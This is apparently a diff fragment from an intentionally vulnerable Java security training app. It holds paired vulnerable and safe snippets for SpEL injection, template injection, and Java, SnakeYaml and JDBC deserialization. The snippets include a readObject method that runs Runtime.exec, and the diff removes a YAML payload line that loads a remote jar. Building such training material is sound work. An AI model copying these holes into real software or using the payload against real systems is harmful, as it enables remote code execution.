"\"encryptedPassword\":\"nDI0/PBwsFHnRRw7Z4gHZ6G8Uaq7BUjUxnTDw7bkR9nrTkoHfcDLKUddj2JS7WWbOyuwsUFce3/tXJYQWNMFQqGRtf6jXxFAlvTvBkRdsZXOIU+Abb4EqYw670xd5UTeAQ0lI5KNXtw6e/VbnXyX+STJdN2SO7FLbvZ4sM6gLQSVWLo/+pZsYxKlEUNxew2svlzDZtqKnyF12bzakWfzaWuovLnYCCEXV1oAJCErjgfoOS2wJADdgU0wE6KlFDMNjsCvONmO6KZpmJQ1GOq3MpyqySq8eyJkYG3cDSRo5nDo2YOcevOHifzMnKbrU9gh4/RUj8sxrykdqgLmzX3rhw==\"}"
-const vul1Credential = "vul1Credential"
+const vul1Credential = "public R generateJWT(String username, String role) {\n" +
+ " String jwt = Jwts.builder()\n" +
+ " .setSubject(username)\n" +
+ " .claim(\"role\", role)\n" +
+ " .signWith(jwtKey())\n" +
+ " .compact();\n" +
+ " return R.ok(jwt);\n" +
+ "}\n" +
+ "\n" +
+ "public R vul1(String jwt) {\n" +
+ " String user = Jwts.parser()\n" +
+ " .setSigningKey(jwtKey())\n" +
+ " .parseClaimsJws(jwt)\n" +
+ " .getBody()\n" +
+ " .getSubject();\n" +
+ " String role = Jwts.parserBuilder()\n" +
+ " .setSigningKey(jwtKey())\n" +
+ " .build()\n" +
+ " .parseClaimsJws(jwt)\n" +
+ " .getBody()\n" +
+ " .get(\"role\", String.class);\n" +
+ " return R.ok(\"JWT解析成功,user:\" + user + \",role:\" + role);\n" +
+ "}"
const vul2Credential = "vul2Credential"
// java专题 SPEL注入
const spelVul = "public R vul(String ex) {\n" +
- " // 创建SpEL解析器,ExpressionParser接口用于表示解析器,SpelExpressionParser为默认实现\n" +
- " ExpressionParser parser = new SpelExpressionParser();\n" +
- " \n" +
- " // Expression expression = parser.parseExpression(ex);\n" +
- " // String result = expression.getValue().toString();\n" +
- " \n" +
- " // 构造上下文 上下文其实就是设置好某些变量的值,执行表达式时根据这些设置好的内容区获取值 在不配置的情况下具有默认类型的上下文\n" +
- " EvaluationContext evaluationContext = new StandardEvaluationContext();\n" +
- " \n" +
- " // 解析表达式,将用户输入的字符串解析为Expression对象\n" +
- " Expression exp = parser.parseExpression(ex);\n" +
- " \n" +
- " // 通过上下文计算表达式的值,并将结果转换为字符串\n" +
- " String result = exp.getValue(evaluationContext).toString();\n" +
- " return R.ok(result);\n" +
+ " try {\n" +
+ " ExpressionParser parser = new SpelExpressionParser();\n" +
+ " EvaluationContext evaluationContext = new StandardEvaluationContext();\n" +
+ " Expression exp = parser.parseExpression(ex);\n" +
+ " Object result = exp.getValue(evaluationContext);\n" +
+ " return R.ok(String.valueOf(result));\n" +
+ " } catch (Exception e) {\n" +
+ " return R.error(\"SPEL表达式执行失败:\" + e.getMessage());\n" +
+ " }\n" +
"}"
const spelSafe = "public R safe(String ex) {\n" +
- " ExpressionParser parser = new SpelExpressionParser();\n" +
- " \n" +
- " // 使用 SimpleEvaluationContext 限制表达式功能(Java类型引用、构造函数调用、Bean引用),防止危险的操作\n" +
- " EvaluationContext simpleContext = SimpleEvaluationContext.forReadOnlyDataBinding().build();\n" +
- " \n" +
- " Expression exp = parser.parseExpression(ex);\n" +
- " \n" +
- " String result = exp.getValue(simpleContext).toString();\n" +
- " return R.ok(result);\n" +
+ " try {\n" +
+ " ExpressionParser parser = new SpelExpressionParser();\n" +
+ " // 使用 SimpleEvaluationContext 限制 Java 类型引用、构造函数调用、Bean 引用等危险能力\n" +
+ " EvaluationContext simpleContext = SimpleEvaluationContext.forReadOnlyDataBinding().build();\n" +
+ " Expression exp = parser.parseExpression(ex);\n" +
+ " Object result = exp.getValue(simpleContext);\n" +
+ " return R.ok(String.valueOf(result));\n" +
+ " } catch (Exception e) {\n" +
+ " return R.error(\"表达式被安全上下文限制:\" + e.getMessage());\n" +
+ " }\n" +
"}\n"
const sstiVul = "public String vul1(@RequestParam String para, Model model) {\n" +
- " // 用户输入直接拼接到模板路径,可能导致SSTI(服务器端模板注入)漏洞\n" +
+ " // 用户输入直接拼接到模板路径,Thymeleaf 会对视图名中的 __${...}__ 做预处理\n" +
" return \"vul/ssti/\" + para;\n" +
"}\n" +
"\n" +
- "public void vul2(@PathVariable String path) {\n" +
+ "public String vul2(@PathVariable String path) {\n" +
+ " // URL 路径变量直接拼接到模板路径,同样会触发 Thymeleaf 视图名预处理\n" +
" log.info(\"SSTI注入:\"+path);\n" +
+ " return \"vul/ssti/\" + path;\n" +
"}\n" +
"\n" +
- "\t// 缺陷组件版本参考\n" +
+ "// 缺陷组件版本参考\n" +
"\n" +
" org.springframework.boot \n" +
" spring-boot-starter-parent \n" +
@@ -2068,57 +2436,54 @@ const sstiVul = "public String vul1(@RequestParam String para, Model model) {\n"
const sstiSafe = "public String safe1(String para, Model model) {\n" +
" List white_list = new ArrayList<>(Arrays.asList(\"vul\", \"ssti\"));\n" +
" if (white_list.contains(para)){\n" +
- " return \"vul/ssti\" + para;\n" +
+ " return \"vul/ssti/\" + para;\n" +
" } else{\n" +
" return \"common/401\";\n" +
" }\n" +
"}\n" +
"@GetMapping(\"/safe2/{path}\")\n" +
- "public void safe2(@PathVariable String path, HttpServletResponse response) {\n" +
+ "public void safe2(@PathVariable String path, HttpServletResponse response) throws IOException {\n" +
" log.info(\"SSTI注入:\"+path);\n" +
+ " response.setContentType(\"text/plain;charset=UTF-8\");\n" +
+ " response.getWriter().write(\"已跳过视图解析,输入路径:\" + path);\n" +
"}"
const vulReadObject = "public R vul(String payload) {\n" +
" try {\n" +
- " payload = payload.replace(\" \", \"+\");\n" +
- " byte[] bytes = Base64.getDecoder().decode(payload);\n" +
- " ByteArrayInputStream stream = new ByteArrayInputStream(bytes);\n" +
- " java.io.ObjectInputStream in = new java.io.ObjectInputStream(stream);\n" +
- " in.readObject();\n" +
- " in.close();\n" +
- " return R.ok(\"[+]Java反序列化:ObjectInputStream.readObject()\");\n" +
+ " byte[] bytes = decodePayload(payload);\n" +
+ " Object obj;\n" +
+ " try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {\n" +
+ " obj = in.readObject();\n" +
+ " }\n" +
+ " return R.ok(\"[+]Java反序列化:\" + obj);\n" +
" } catch (Exception e) {\n" +
" return R.error(\"[-]请输入正确的Payload!\\n\"+e.getMessage());\n" +
" }\n" +
- "}"
+"}"
const safeReadObject1 = "public R safe1(String payload) {\n" +
- " // 安全措施:禁用不安全的反序列化\n" +
+ " // 禁用 Commons Collections 不安全反序列化开关\n" +
" System.setProperty(\"org.apache.commons.collections.enableUnsafeSerialization\", \"false\");\n" +
" try {\n" +
- " payload = payload.replace(\" \", \"+\");\n" +
- " byte[] bytes = Base64.getDecoder().decode(payload);\n" +
- " ByteArrayInputStream stream = new ByteArrayInputStream(bytes);\n" +
- " java.io.ObjectInputStream in = new java.io.ObjectInputStream(stream);\n" +
- " in.readObject();\n" +
- " in.close();\n" +
- " return R.ok(\"[+]Java反序列化:ObjectInputStream.readObject()\");\n" +
+ " byte[] bytes = decodePayload(payload);\n" +
+ " try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {\n" +
+ " in.readObject();\n" +
+ " }\n" +
+ " return R.ok(\"[+]Java反序列化:禁用Commons Collections不安全反序列化开关\");\n" +
" } catch (Exception e) {\n" +
" return R.error(\"[-]请输入正确的Payload!\\n\"+e.getMessage());\n" +
" }\n" +
"}"
const safeReadObject2 = "public R safe2(String payload) {\n" +
" try {\n" +
- " payload = payload.replace(\" \", \"+\");\n" +
- " byte[] bytes = Base64.getDecoder().decode(payload);\n" +
- " ByteArrayInputStream stream = new ByteArrayInputStream(bytes);\n" +
+ " byte[] bytes = decodePayload(payload);\n" +
" // 创建 ValidatingObjectInputStream 对象\n" +
- " ValidatingObjectInputStream ois = new ValidatingObjectInputStream(stream);\n" +
- " // 设置拒绝反序列化的类\n" +
- " ois.reject(java.lang.Runtime.class);\n" +
- " ois.reject(java.lang.ProcessBuilder.class);\n" +
- " // 只允许反序列化Sqli类\n" +
- " ois.accept(Sqli.class);\n" +
- " ois.readObject();\n" +
+ " try (ValidatingObjectInputStream ois = new ValidatingObjectInputStream(new ByteArrayInputStream(bytes))) {\n" +
+ " ois.reject(java.lang.Runtime.class);\n" +
+ " ois.reject(java.lang.ProcessBuilder.class);\n" +
+ " // 只允许反序列化Sqli类\n" +
+ " ois.accept(Sqli.class);\n" +
+ " ois.readObject();\n" +
+ " }\n" +
" return R.ok(\"[+]Java反序列化:ObjectInputStream.readObject()\");\n" +
" } catch (Exception e) {\n" +
" return R.error(\"[-]请输入正确的Payload!\\n\"+e.getMessage());\n" +
@@ -2127,22 +2492,25 @@ const safeReadObject2 = "public R safe2(String payload) {\n" +
const safeReadObject3 = "safeReadObject3"
const vulSnakeYaml = "public R vul(String payload) {\n" +
+ " if (payload == null || payload.trim().isEmpty()) {\n" +
+ " return R.error(\"Payload不能为空\");\n" +
+ " }\n" +
" Yaml y = new Yaml();\n" +
- " y.load(payload);\n" +
- " return R.ok(\"[+]Java反序列化:SnakeYaml\");\n" +
+ " Object result = y.load(payload);\n" +
+ " return R.ok(\"[+]Java反序列化:SnakeYaml原生漏洞,解析结果:\" + result);\n" +
"}\n" +
"\n" +
"// payload示例\n" +
- "payload=!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ['http://127.0.0.1:7777/yaml-payload.jar']]]]\n"
+ "payload=!!top.whgojp.modules.sqli.entity.Sqli {id: 1, username: test, password: pass}\n"
const safeSnakeYaml = "public R safe(String payload) {\n" +
" try {\n" +
" Yaml y = new Yaml(new SafeConstructor());\n" +
- " y.load(payload);\n" +
- " return R.ok(\"[+]Java反序列化:SnakeYaml安全构造\");\n" +
+ " Object result = y.load(payload);\n" +
+ " return R.ok(\"[+]Java反序列化:SnakeYaml安全构造,解析结果:\" + result);\n" +
" } catch (Exception e) {\n" +
- " return R.error(\"[-]Java反序列化:SnakeYaml反序列化失败\");\n" +
+ " return R.error(\"[-]Java反序列化:SnakeYaml反序列化失败:\" + e.getMessage());\n" +
" }\n" +
- "}"
+"}"
const vulXmlDecoder = 'public R vul(String payload) {\n' +
' String[] strCmd = payload.split(" ");\n' +
@@ -2320,21 +2688,24 @@ const vulShiro = "public R getShiroKey(){\n" +
" shiro-spring \n" +
" 1.2.4 \n" +
""
-const JdbcDeserial = "public R vul() {\n" +
- " ...\n" +
- " Connection conn = DriverManager.getConnection(url, username, password);\n" +
- " String selectQuery = \"SELECT malicious_object FROM objects WHERE id = 1\";\n" +
- " Statement stmt = conn.createStatement();\n" +
- " ResultSet rs = stmt.executeQuery(selectQuery);\n" +
- "\n" +
- " if (rs.next()) {\n" +
- " // 查询并获取恶意对象的字节数据\n" +
- " byte[] maliciousObjectBytes = rs.getBytes(\"malicious_object\");\n" +
- " // 反序列化恶意对象\n" +
- " ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(maliciousObjectBytes);\n" +
- " ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);\n" +
- "\n" +
- " // 触发反序列化漏洞\n" +
- " MaliciousObject maliciousObject = (MaliciousObject) objectInputStream.readObject();\n" +
+const JdbcDeserial = "public R jdbc() {\n" +
+ " try (Connection conn = DriverManager.getConnection(url, username, password);\n" +
+ " Statement stmt = conn.createStatement()) {\n" +
+ " ResultSet rs = stmt.executeQuery(\"SELECT malicious_object FROM objects WHERE id = 1\");\n" +
+ " if (rs.next()) {\n" +
+ " byte[] bytes = rs.getBytes(\"malicious_object\");\n" +
+ " try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes))) {\n" +
+ " // 触发反序列化漏洞\n" +
+ " ois.readObject();\n" +
+ " }\n" +
+ " }\n" +
+ " return R.ok(\"触发MYSQL-JDBC反序列化漏洞!\");\n" +
+ " } catch (Exception e) {\n" +
+ " return R.error(\"触发MYSQL-JDBC反序列化漏洞失败:\" + e.getMessage());\n" +
" }\n" +
- " ..."
+ "}\n" +
+ "\n" +
+ "private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {\n" +
+ " in.defaultReadObject();\n" +
+ " Runtime.getRuntime().exec(command);\n" +
+ "}"
diff --git a/src/main/resources/templates/common/common.html b/src/main/resources/templates/common/common.html
index a3b0585..0207713 100644
--- a/src/main/resources/templates/common/common.html
+++ b/src/main/resources/templates/common/common.html
@@ -99,8 +99,8 @@
-
+
-
\ No newline at end of file
+